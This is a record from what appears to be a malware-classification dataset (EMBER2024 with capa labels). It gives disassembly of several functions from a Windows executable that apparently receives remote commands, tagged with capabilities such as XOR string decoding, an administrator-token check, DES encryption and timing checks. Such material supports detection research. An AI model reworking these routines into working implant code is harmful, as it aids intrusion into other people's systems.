joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140004514
Capabilities:
Get token membership
Initialize winsock library

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x130]
sub rsp, 0x230
mov rax, qword [0x140017008]
xor rax, rsp
mov qword [rbp + 0x120], rax
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x60], rcx
xor r15d, r15d
mov qword [rcx + 8], r15
mov qword [rcx + 0x10], r15
mov qword [rcx + 0x18], r15
mov word [rcx + 0x20], r15w
mov dword [rcx + 0x24], r15d
mov word [rcx + 0x28], r15w
lea rax, vtable.TRecvClienCmdThread.0
mov qword [rcx], rax
or qword [rcx + 0x30], 0xffffffffffffffff
mov r14d, 0x1bb
mov word [rcx + 0x140], r14w
mov dword [rcx + 0x244], r15d
or eax, 0xffffffff
mov dword [rcx + 0x248], eax
mov dword [rcx + 0x24c], eax
mov dword [rcx + 0x250], eax
mov dword [rcx + 0x2a54], r15d
mov word [rcx + 0x2b58], r15w
add rcx, 0x2e58
xor edx, edx
lea r8d, [r14 + 0x29]
call sub.VCRUNTIME140.dll_memset
lea rax, vtable.CPointerList.0
mov qword [rdi + 0x3040], rax
mov qword [rdi + 0x3048], r15
mov qword [rdi + 0x3050], r15
mov qword [rdi + 0x3058], rax
mov qword [rdi + 0x3060], r15
mov qword [rdi + 0x3068], r15
lea rcx, [rdi + 0x41]
mov r8, rbx
mov esi, 0xff
mov edx, esi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea rcx, [rdi + 0x142]
mov r8, rbx
mov edx, esi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea rcx, [rdi + 0x2a58]
mov r8d, esi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
lea rcx, [rdi + 0x2b5a]
mov r8d, esi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
lea rcx, [rdi + 0x2c59]
xor edx, edx
lea r8d, [r14 + 0x43]
call sub.VCRUNTIME140.dll_memset
lea ecx, [r14 + 0x47]
lea rdx, [rbp - 0x80]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rdi + 0x3070], rax
mov dword [rdi + 0x244], r15d
cmp word [rdi + 0x140], r14w
sete al
mov byte [rdi + 0x40], al
mov ecx, 0xfaf8
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rdi + 0x38], rax
mov rcx, rax
call fcn.140008d0c
mov rcx, rdi
call fcn.140003e8c
mov dword [rsp + 0x74], r15d
mov word [rsp + 0x78], 0x500
lea rax, [rsp + 0x68]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], r15d
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
lea r9d, [r14 + 0x65]
lea r8d, [r15 + 0x20]
mov dl, 2
lea rcx, [rsp + 0x74]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [rsp + 0x70], eax
test eax, eax
je 0x140004732
lea r8, [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
neg eax
sbb ecx, ecx
and dword [rsp + 0x70], ecx
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rsp + 0x70], r15d
je 0x140004732
call fcn.140001000
test eax, eax
jne 0x140004732
call fcn.1400010e0
nop
mov rax, rdi
mov rcx, qword [rbp + 0x120]
xor rcx, rsp
call fcn.14000c390
mov rbx, qword [rsp + 0x270]
add rsp, 0x230
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400058a0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x440]
sub rsp, 0x540
mov rax, qword [0x140017008]
xor rax, rsp
mov qword [rbp + 0x430], rax
mov rsi, qword [rbp + 0x480]
xor eax, eax
mov rdi, rdx
mov dword [rbp + 0x20], eax
mov rbx, rcx
mov byte [rbp + 0x24], al
xor edx, edx
lea rcx, [rbp + 0x30]
mov r8d, 0x400
mov r14b, r9b
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0x20]
call fcn.14000244c
lea rcx, str.dzec
mov eax, 0x80
movups xmm0, xmmword [rcx]
lea rdx, [rsp + 0x30]
movups xmm1, xmmword [rcx + 0x10]
lea r9, [rsp + 0x30]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmmword [rdx + 0x60], xmm0
add rdx, rax
movups xmm0, xmmword [rcx + 0x70]
add rcx, rax
xor r8d, r8d
movups xmmword [rdx - 0x10], xmm0
movups xmm1, xmmword [rcx]
mov rax, qword [rcx + 0x60]
movups xmm0, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm1
movups xmm1, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm0
movups xmm0, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm1
movups xmm1, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm0
movups xmm0, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm1
movups xmmword [rdx + 0x50], xmm0
mov qword [rdx + 0x60], rax
mov eax, dword [rcx + 0x68]
mov dword [rdx + 0x68], eax
movzx eax, word [rcx + 0x6c]
mov word [rdx + 0x6c], ax
mov al, byte [rcx + 0x6e]
mov byte [rdx + 0x6e], al
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
mov al, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9], al
inc r9
cmp r8d, 0xef
jl 0x1400059a7
add rbx, 0x142
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea r8, [rbp + 0x20]
mov qword [rsp + 0x20], rbx
mov r9d, eax
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x30]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rcx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rdx, [rbp + 0x30]
mov r8d, eax
test r14b, r14b
je 0x140005a24
mov rcx, rsi
call fcn.1400094fc
test al, al
jmp 0x140005a2e
mov rcx, rdi
call fcn.14000a018
test eax, eax
jne 0x140005a34
xor al, al
jmp 0x140005a36
mov al, 1
mov rcx, qword [rbp + 0x430]
xor rcx, rsp
call fcn.14000c390
lea r11, [rsp + 0x540]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x140005a60
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x530]
sub rsp, 0x630
mov rax, qword [0x140017008]
xor rax, rsp
mov qword [rbp + 0x520], rax
mov rsi, qword [rbp + 0x570]
xor eax, eax
mov rdi, rdx
mov dword [rbp + 0x110], eax
mov rbx, rcx
mov byte [rbp + 0x114], al
xor edx, edx
lea rcx, [rbp + 0x120]
mov r8d, 0x400
mov r14b, r9b
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0x110]
call fcn.14000244c
lea rcx, [0x14000eaf0]
mov eax, 0x80
movups xmm0, xmmword [rcx]
lea rdx, [rsp + 0x40]
movups xmm1, xmmword [rcx + 0x10]
lea r9, [rsp + 0x40]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmmword [rdx + 0x60], xmm0
add rdx, rax
movups xmm0, xmmword [rcx + 0x70]
add rcx, rax
xor r8d, r8d
movups xmmword [rdx - 0x10], xmm0
mov rax, qword [rcx + 0x20]
movups xmm1, xmmword [rcx]
movups xmm0, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm1
movups xmmword [rdx + 0x10], xmm0
mov qword [rdx + 0x20], rax
mov eax, dword [rcx + 0x28]
mov dword [rdx + 0x28], eax
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
mov al, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9], al
inc r9
cmp r8d, 0xac
jl 0x140005b45
add rbx, 0x142
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r9d, eax
lea r8, [rbp + 0x110]
lea rax, [0x14000e8cb]
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x120]
mov qword [rsp + 0x20], rbx
call qword [sym.imp.USER32.dll_wsprintfA]
lea rcx, [rbp + 0x120]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rdx, [rbp + 0x120]
mov r8d, eax
test r14b, r14b
je 0x140005c29
mov rcx, rsi
call fcn.1400094fc
test al, al
je 0x140005c00
lea r9, [rsp + 0x30]
mov dword [rsp + 0x20], 0x13880
mov r8d, 0x400
lea rdx, [rbp + 0x120]
mov rcx, rsi
call fcn.140009a58
test al, al
jne 0x140005c5e
xor al, al
mov rcx, qword [rbp + 0x520]
xor rcx, rsp
call fcn.14000c390
lea r11, [rsp + 0x630]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
mov rcx, rdi
call fcn.14000a018
test eax, eax
je 0x140005c00
lea rax, [rsp + 0x30]
mov dword [rsp + 0x28], 0x13880
mov r9d, 0x400
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x120]
mov rdx, rdi
call fcn.14000250c
jmp 0x140005bfc
mov edx, dword [rsp + 0x30]
lea r8, [rbp - 0x10]
lea rcx, [rbp + 0x120]
call fcn.140001cd4
test al, al
je 0x140005c00
cmp dword [rbp - 0xc], 1
jne 0x140005c00
cmp dword [rbp - 0x10], 3
jne 0x140005c00
cmp dword [rbp + 0xf8], 0xc8
jne 0x140005c00
cmp byte [rbp + 0xfd], 0
je 0x140005c00
mov al, 1
jmp 0x140005c02
Function at 0x140005eb0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push rbx
sub rsp, 0x20
cmp byte [rcx + 0x21], 0
mov rbx, rcx
je 0x140005ec3
xor al, al
jmp 0x140005f04
cmp byte [rcx + 0x6e0], 0
je 0x140005edc
mov rcx, qword [rcx + 0x6e8]
call fcn.1400094fc
test al, al
jmp 0x140005eea
mov rcx, qword [rcx + 0xc0]
call fcn.14000a018
test eax, eax
jne 0x140005ef6
mov rcx, rbx
call fcn.140005d44
jmp 0x140005ebf
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rbx + 0xa4], eax
mov al, 1
add rsp, 0x20
pop rbx
ret
Function at 0x140006cc4
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x140017008]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rbx, rcx
mov qword [rsp + 0x28], rcx
mov rax, qword [rcx + 0x38]
mov qword [r11 - 0x28], rax
mov rax, qword [rcx + 0x30]
mov rdx, qword [rax + 0x30]
mov qword [r11 - 0x20], rdx
mov al, byte [rbx + 0x21]
test al, al
jne 0x140006e96
mov r9d, 0x7530
xor r8d, r8d
lea rdx, [rsp + 0x30]
lea ecx, [r8 + 2]
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov ecx, eax
mov al, byte [rbx + 0x21]
test al, al
jne 0x140006e96
cmp ecx, 0x102
jne 0x140006de5
mov rsi, qword [rbx + 0x30]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [rsi + 0xa4]
mov edi, eax
sub edi, ecx
cmp eax, ecx
jae 0x140006d55
dec edi
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [rsi + 0xa0]
mov edx, eax
sub edx, ecx
cmp eax, ecx
jae 0x140006d6b
dec edx
cmp edi, 0x2bf20
jbe 0x140006d84
cmp edx, 0x2bf20
jbe 0x140006d84
mov rcx, qword [rbx + 0x30]
call fcn.140005d44
mov rcx, qword [rbx + 0x30]
add rcx, 0x38
call fcn.140008888
xor edi, edi
mov dword [rsp + 0x20], edi
mov rax, qword [rbx + 0x30]
cmp edi, dword [rax + 0x98]
jge 0x140006dd7
test edi, edi
js 0x140006db7
movsxd rcx, edi
mov rax, qword [rax + 0x90]
lea rdx, [rax + rcx*8]
jmp 0x140006dbe
lea rdx, [0x140017820]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 0x40]
nop
jmp 0x140006dd3
inc edi
jmp 0x140006d93
lea rcx, [rax + 0x38]
call fcn.140008960
jmp 0x140006cff
test ecx, ecx
je 0x140006e7d
cmp ecx, 1
jne 0x140006cff
mov rcx, qword [rbx + 0x30]
add rcx, 0x38
call fcn.1400088f4
nop
mov rax, qword [rbx + 0x30]
mov edi, dword [rax + 0x98]
dec edi
test edi, edi
js 0x140006e64
mov rax, qword [rbx + 0x30]
cmp edi, dword [rax + 0x98]
jge 0x140006e30
movsxd rcx, edi
mov rax, qword [rax + 0x90]
lea rsi, [rax + rcx*8]
jmp 0x140006e37
lea rsi, [0x140017820]
mov rsi, qword [rsi]
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + 0x30]
test eax, eax
je 0x140006e0e
mov rcx, qword [rbx + 0x30]
add rcx, 0x88
mov edx, edi
call fcn.140001358
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + 0x50]
jmp 0x140006e0e
jmp 0x140006e6b
mov rcx, qword [rbx + 0x30]
add rcx, 0x38
call fcn.1400089b4
jmp 0x140006cff
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.WS2_32.dll_recv]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov qword [rbx + 0x18], rax
mov byte [rbx + 0x21], 1
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14000c390
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
Function at 0x140006f0c
Capabilities:
Encode data using base64 via winapi

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x30
mov r14d, r9d
mov rbp, r8
mov rbx, rdx
mov rsi, rcx
test r8, r8
je 0x140006f97
mov qword [rax - 0x18], rdx
xor r9d, r9d
mov edx, r14d
mov r8d, 0x40000001
mov rcx, rbp
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
test eax, eax
je 0x140006f97
mov ecx, dword [rbx]
inc ecx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsi], rax
mov r9, rax
test rax, rax
je 0x140006f97
mov ecx, dword [rbx]
mov rdi, rax
inc ecx
mov qword [rsp + 0x20], rbx
xor eax, eax
mov r8d, 0x40000001
rep stosb byte [rdi], al
mov rcx, rbp
mov edx, r14d
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
test eax, eax
jne 0x140006fb4
mov rcx, qword [rsi]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor al, al
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret
mov al, 1
jmp 0x140006f99
Function at 0x140007200
Capabilities:
Create new key via cryptacquirecontext
Encode data using xor
Encrypt data using des via winapi
Encrypt or decrypt via wincrypt

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x140017008]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rsi, r8
mov dword [rbp - 0x28], 8
mov rdi, rdx
mov dword [rsp + 0x20], 0xf0000040
mov r14, rcx
xor r8d, r8d
xor edx, edx
lea rcx, [rbp - 0x18]
mov r9d, 1
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
xor ebx, ebx
test eax, eax
je 0x14000738f
mov dl, byte [rsi + 1]
mov r8, rbx
mov cl, byte [rsi]
mov al, dl
shr al, 1
mov byte [rbp - 0x34], cl
shl cl, 7
or al, cl
shl dl, 6
mov cl, byte [rsi + 2]
mov byte [rbp - 0x33], al
mov al, cl
shr al, 2
or al, dl
shl cl, 5
mov dl, byte [rsi + 3]
mov byte [rbp - 0x32], al
mov al, dl
shr al, 3
or al, cl
shl dl, 4
mov cl, byte [rsi + 4]
mov byte [rbp - 0x31], al
mov al, cl
shr al, 4
or al, dl
shl cl, 3
mov dl, byte [rsi + 5]
mov byte [rbp - 0x30], al
mov al, dl
shr al, 5
or al, cl
shl dl, 2
mov cl, byte [rsi + 6]
mov byte [rbp - 0x2f], al
mov al, cl
shr al, 6
or al, dl
mov dword [rbp - 0x40], 0x208
add cl, cl
mov dword [rbp - 0x3c], 0x6601
mov byte [rbp - 0x2d], cl
mov dword [rbp - 0x38], 8
mov byte [rbp - 0x2e], al
mov cl, byte [rbp + r8 - 0x34]
mov al, cl
mov dl, cl
shr al, 1
xor al, cl
shr dl, 2
xor dl, al
shr al, 1
xor al, cl
shr dl, 1
xor dl, cl
shr al, 5
not al
shr dl, 1
xor dl, al
mov al, cl
or cl, 1
and al, 0xfe
and dl, 1
movzx ecx, cl
movzx eax, al
cmove ecx, eax
mov byte [rbp + r8 - 0x34], cl
inc r8
cmp r8, 8
jb 0x1400072de
mov rcx, qword [rbp - 0x18]
lea rax, [rbp - 0x20]
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rdx, [rbp - 0x40]
mov dword [rsp + 0x20], ebx
lea r8d, [r9 + 0x14]
call qword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
je 0x140007381
mov rax, qword [r14]
xor r9d, r9d
mov rcx, qword [rbp - 0x20]
xor r8d, r8d
mov qword [rdi], rax
xor edx, edx
mov eax, dword [rbp - 0x28]
mov dword [rsp + 0x30], eax
lea rax, [rbp - 0x28]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov bl, 1
mov rcx, qword [rbp - 0x18]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov al, bl
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.14000c390
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x14000750c
Capabilities:
Hash data using md4
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x140017008]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov r13, r8
mov r15, rdx
mov rdi, rcx
test rcx, rcx
je 0x140007617
or rbx, 0xffffffffffffffff
mov rax, rbx
inc rax
cmp byte [rcx + rax], 0
jne 0x14000754c
lea eax, [rax*2 + 2]
movsxd r14, eax
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x140007617
mov r8, r14
xor edx, edx
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov rcx, rbx
inc rcx
cmp byte [rdi + rcx], 0
jne 0x140007584
movsxd r8, ecx
test ecx, ecx
jle 0x1400075aa
xor ecx, ecx
mov rdx, rsi
mov al, byte [rcx + rdi]
inc rcx
mov byte [rdx], al
lea rdx, [rdx + 2]
cmp rcx, r8
jl 0x140007599
xor eax, eax
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
mov dword [rbp - 0x18], eax
mov byte [rbp - 0x14], al
inc rbx
cmp byte [rdi + rbx], al
jne 0x1400075b9
and dword [rsp + 0x20], eax
lea rcx, [rbp - 0x38]
mov r9d, 1
xor r8d, r8d
xor edx, edx
add ebx, ebx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x14000760e
mov rcx, qword [rbp - 0x38]
lea rax, [rbp - 0x40]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x8002
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x14000763e
mov rcx, qword [rbp - 0x38]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor eax, eax
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.14000c390
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop rdi
pop rbp
ret
mov rcx, qword [rbp - 0x40]
xor r9d, r9d
mov r8d, ebx
mov rdx, rsi
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
mov rcx, qword [rbp - 0x40]
test eax, eax
jne 0x140007661
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
jmp 0x140007602
and dword [rsp + 0x20], 0
lea r9, [rbp - 0x2c]
mov edx, 4
lea r8, [rbp - 0x30]
mov dword [rbp - 0x2c], edx
call qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
mov rcx, qword [rbp - 0x40]
test eax, eax
je 0x140007659
cmp dword [rbp - 0x30], 0x10
jne 0x140007659
and dword [rsp + 0x20], 0
lea r9, [rbp - 0x30]
lea r8, [rbp - 0x28]
mov edx, 2
call qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
mov rcx, qword [rbp - 0x40]
test eax, eax
je 0x140007659
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rbp - 0x38]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea r8, [rbp - 0x28]
mov rdx, r13
mov rcx, r15
call fcn.140007200
lea rdx, [r13 + 8]
mov rcx, r15
lea r8, [rbp - 0x21]
call fcn.140007200
lea rdx, [r13 + 0x10]
mov rcx, r15
lea r8, [rbp - 0x1a]
call fcn.140007200
mov eax, 1
jmp 0x140007619
Function at 0x140008a1c
Capabilities:
Create new key via cryptacquirecontext
Encrypt or decrypt via wincrypt

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x78
mov rax, qword [0x140017008]
xor rax, rsp
mov qword [rbp - 0x18], rax
mov r14, qword [rbp + 0x68]
xor esi, esi
mov qword [rbp - 0x38], r9
mov r13, r8
mov ebx, edx
mov qword [rbp - 0x20], rsi
mov rdi, rcx
mov qword [rbp - 0x28], rsi
lea r15d, [rsi + 1]
mov dword [rbp - 0x30], esi
mov r9d, r15d
mov dword [rsp + 0x20], esi
xor r8d, r8d
lea rcx, [rbp - 0x20]
xor edx, edx
mov r12b, sil
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x140008a9e
mov r9d, r15d
mov dword [rsp + 0x20], 8
xor r8d, r8d
lea rcx, [rbp - 0x20]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x140008bbd
mov rcx, qword [rbp - 0x20]
lea rax, [rbp - 0x28]
mov qword [rsp + 0x28], rax
xor r9d, r9d
mov r8d, ebx
mov dword [rsp + 0x20], esi
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
je 0x140008bbd
mov rcx, qword [rbp - 0x28]
lea rax, [rbp - 0x30]
mov dword [rsp + 0x30], esi
xor r9d, r9d
mov qword [rsp + 0x28], rax
mov r8d, r15d
xor edx, edx
mov qword [rsp + 0x20], rsi
mov dword [rbp - 0x30], reloc.WS2_32.dll_recv
call qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
je 0x140008bbd
mov r15d, dword [rbp - 0x30]
mov ecx, r15d
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x140008bbd
mov esi, dword [rbp - 0x30]
mov rdi, rax
xor eax, eax
mov ecx, esi
rep stosb byte [rdi], al
test r14, r14
je 0x140008b39
cmp rsi, 0x11
jb 0x140008b39
movups xmm0, xmmword [r14]
mov al, byte [r14 + 0x10]
movups xmmword [rbx], xmm0
mov byte [rbx + 0x10], al
jmp 0x140008b71
mov r8, rsi
xor edx, edx
mov rcx, rbx
call sub.VCRUNTIME140.dll_memset
test r14, r14
jne 0x140008b59
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov dword [rax], socket
jmp 0x140008b6b
cmp rsi, 0x11
jae 0x140008b71
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov dword [rax], 0x22
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo]
mov rcx, qword [rbp - 0x28]
lea rax, [rbp - 0x30]
xor r9d, r9d
mov dword [rsp + 0x30], r15d
mov qword [rsp + 0x28], rax
xor edx, edx
mov dword [rbp - 0x30], setsockopt
mov qword [rsp + 0x20], rbx
lea r8d, [r9 + 1]
call qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
je 0x140008bb4
mov rcx, qword [rbp - 0x38]
mov r12b, 1
mov eax, dword [rbp - 0x30]
mov qword [r13], rbx
mov dword [rcx], eax
jmp 0x140008bbd
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rbp - 0x28]
test rcx, rcx
je 0x140008bcc
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rbp - 0x20]
test rcx, rcx
je 0x140008bdd
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov al, r12b
mov rcx, qword [rbp - 0x18]
xor rcx, rsp
call fcn.14000c390
add rsp, 0x78
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x140008c00
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rcx
push rbx
sub rsp, 0x60
mov ecx, 0x3078
call fcn.14000c680
mov rbx, rax
mov qword [rsp + 0x70], rax
xor edx, edx
mov r8d, 0x3078
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
movsd xmm0, qword [0x140013210]
movsd qword [rsp + 0x50], xmm0
mov ecx, dword [0x140013218]
mov dword [rsp + 0x58], ecx
mov cl, byte [0x14001321c]
mov byte [rsp + 0x5c], cl
xor r8d, r8d
lea r9, [rsp + 0x50]
mov eax, 0x2f684bdb
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
mov al, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 0xd
jl 0x140008c56
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140004514
nop
mov qword [0x140017818], rax
mov rcx, rax
call fcn.140001528
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140008ca3

Function at 0x140008e10
Capabilities:
Get client handle via schannel
Get outbound credentials handle via credssp

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xc0
mov rax, qword [0x140017008]
xor rax, rsp
mov qword [rbp + 0x4f], rax
and qword [rbp - 0x19], 0
mov rdi, rdx
lea rdx, [0x140013220]
xor ecx, ecx
call qword [sym.imp.CRYPT32.dll_CertOpenSystemStoreA]
mov rbx, rax
test rax, rax
jne 0x140008e5e
mov eax, 0x8009030e
jmp 0x140008eee
xor edx, edx
lea rcx, [rbp - 9]
lea r8d, [rdx + 0x50]
call sub.VCRUNTIME140.dll_memset
cmp qword [rbp - 0x19], 0
mov dword [rbp - 9], 4
je 0x140008e8a
lea rax, [rbp - 0x19]
mov dword [rbp - 5], 1
mov qword [rbp - 1], rax
and dword [rbp + 0x2f], 0
lea rax, [rbp + 0x47]
